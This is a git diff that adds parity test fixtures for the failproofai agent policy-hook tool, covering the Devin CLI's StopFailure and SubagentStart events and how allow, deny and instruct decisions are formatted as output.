a/__tests__/parity/fixtures/devin/StopFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/StopFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..22f6c2f3 --- /dev/null +++ b/__tests__/parity/fixtures/devin/StopFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/StopFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/StopFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..a482ebd7 --- /dev/null +++ b/__tests__/parity/fixtures/devin/StopFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/StopFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/StopFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..a484844f --- /dev/null +++ b/__tests__/parity/fixtures/devin/StopFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/StopFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/StopFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..826e8465 --- /dev/null +++ b/__tests__/parity/fixtures/devin/StopFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/StopFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/StopFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..7c210424 --- /dev/null +++ b/__tests__/parity/fixtures/devin/StopFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/StopFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/StopFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..037231a8 --- /dev/null +++ b/__tests__/parity/fixtures/devin/StopFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/StopFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/StopFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..c7633c4b --- /dev/null +++ b/__tests__/parity/fixtures/devin/StopFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/StopFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/StopFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..635b42c8 --- /dev/null +++ b/__tests__/parity/fixtures/devin/StopFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/StopFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/StopFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..ee107fd2 --- /dev/null +++ b/__tests__/parity/fixtures/devin/StopFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/StopFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/StopFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..e7b0b561 --- /dev/null +++ b/__tests__/parity/fixtures/devin/StopFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/StopFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/StopFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..87c37dbe --- /dev/null +++ b/__tests__/parity/fixtures/devin/StopFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/StopFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/StopFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..d238f191 --- /dev/null +++ b/__tests__/parity/fixtures/devin/StopFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/StopFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/StopFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..4cc6f2a1 --- /dev/null +++ b/__tests__/parity/fixtures/devin/StopFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"StopFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/StopFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/StopFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..9e1bc094 --- /dev/null +++ b/__tests__/parity/fixtures/devin/StopFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"StopFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/StopFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/StopFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..93708264 --- /dev/null +++ b/__tests__/parity/fixtures/devin/StopFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"StopFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/StopFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/StopFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..7e8e72a0 --- /dev/null +++ b/__tests__/parity/fixtures/devin/StopFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"StopFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/SubagentStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..bc8ce7a8 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/SubagentStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..51d1736f --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/SubagentStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..41885a9e --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/SubagentStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..711423dc --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + 